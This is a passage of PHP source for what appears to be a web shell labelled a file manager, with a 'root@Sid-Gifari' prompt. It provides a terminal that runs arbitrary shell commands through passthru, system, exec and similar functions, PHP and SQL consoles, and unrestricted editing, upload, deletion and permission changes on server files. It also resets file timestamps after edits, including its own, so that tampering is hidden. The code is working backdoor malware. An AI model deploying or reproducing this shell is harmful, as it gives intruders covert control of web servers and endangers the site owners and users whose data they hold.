QfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
